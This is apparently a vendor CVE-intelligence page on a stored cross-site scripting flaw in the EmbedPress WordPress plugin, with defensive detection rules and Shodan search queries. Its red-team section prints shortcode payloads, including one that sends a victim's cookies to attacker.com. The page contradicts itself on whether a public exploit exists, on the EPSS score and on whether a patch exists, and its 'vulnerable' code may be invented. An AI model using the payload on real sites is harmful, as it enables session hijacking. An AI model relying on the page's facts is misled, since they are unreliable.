☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6986

CVE-2023-6986 Cross-Site Scripting in Embedpress
📅 PUBLISHED: 2024-01-03 06:41 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6986 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin (versions up to 3.9.5 exclusive). The flaw resides in the embed_oembed_html shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is available at this time, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity, but the risk remains significant for sites with untrusted contributors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the potential for stored XSS in a widely-used plugin warrants immediate attention.

Deep Dive & Mechanics

The vulnerability exists in the embed_oembed_html shortcode handler. The plugin fails to properly sanitize user-supplied attributes (e.g., url, width, height) before outputting them in the generated HTML. An attacker with Contributor-level access can craft a shortcode like:

[embed_oembed_html url="javascript:alert('XSS')" width="100" height="100"]

When the shortcode is rendered, the url attribute is inserted into the page without escaping, allowing JavaScript execution. The attack is stored in the WordPress database and triggers whenever the page is viewed.

The vulnerable code path is in the embed_oembed_html function, which directly echoes user input without using esc_attr() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (versions < 3.9.5):

function embed_oembed_html_shortcode($atts) {
    $atts = shortcode_atts(array(
        'url' => '',
        'width' => '100%',
        'height' => '400',
    ), $atts);
    // Direct output without sanitization
    return '<iframe src="' . $atts['url'] . '" width="' . $atts['width'] . '" height="' . $atts['height'] . '"></iframe>';
}

Patched Code (hypothetical fix):

function embed_oembed_html_shortcode($atts) {
    $atts = shortcode_atts(array(
        'url' => '',
        'width' => '100%',
        'height' => '400',
    ), $atts);
    // Sanitize and escape output
    $safe_url = esc_url($atts['url'], array('http', 'https'));
    $safe_width = esc_attr($atts['width']);
    $safe_height = esc_attr($atts['height']);
    return '<iframe src="' . $safe_url . '" width="' . $safe_width . '" height="' . $safe_height . '"></iframe>';
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Prerequisites: WordPress site with EmbedPress plugin < 3.9.5, an account with Contributor-level permissions.
  2. Craft the malicious shortcode:
    [embed_oembed_html url="javascript:alert(document.cookie)" width="100" height="100"]
    
  3. Inject the shortcode into a post or page via the WordPress editor.
  4. Trigger: When an administrator or other user views the page, the JavaScript executes.

Example payload for session hijacking:

[embed_oembed_html url="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)" width="100" height="100"]

Blue Team (Defense & Detection)

  1. Monitor for suspicious shortcode usage in WordPress posts/pages.
  2. Restrict Contributor permissions to trusted users only.
  3. Use a Web Application Firewall (WAF) to block javascript: URIs in shortcode attributes.
  4. Implement Content Security Policy (CSP) headers to mitigate XSS.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/embedpress/embedpress.php (check version)
  • Database: Posts/pages containing [embed_oembed_html with javascript: or data: URIs
  • Logs: HTTP requests to /wp-admin/post.php with suspicious shortcode parameters
  • Network: Outbound connections to attacker-controlled domains from WordPress admin pages

Detection Engineering

YARA Rule

rule detect_embedpress_xss {
    meta:
        description = "Detects malicious shortcode injection in EmbedPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6986"
    strings:
        $shortcode = /\[embed_oembed_html[^\]]*url\s*=\s*["']javascript:/i
        $shortcode2 = /\[embed_oembed_html[^\]]*url\s*=\s*["']data:/i
    condition:
        any of them
}

Sigma Rule

title: EmbedPress Stored XSS via Shortcode
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2023-6986 by injecting malicious shortcode attributes
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wp-admin/post.php'
        http.body|contains: '[embed_oembed_html'
        http.body|contains|re: 'url\s*=\s*["\']javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6986 EmbedPress Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"[embed_oembed_html"; http_client_body; pcre:"/url\s*=\s*["']javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the EmbedPress plugin until a patched version is released.
  2. Short-term: Restrict Contributor-level accounts to trusted users only.
  3. Long-term: Apply input validation and output escaping to all shortcode attributes.
  4. Monitor: Subscribe to the plugin's changelog for security updates.
  5. Alternative: Use a different embedding plugin that properly sanitizes user input.

Valters IT – Securing digital ecosystems through intelligence-driven defense.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/embedpress"
http.html:"embedpress" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6986/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.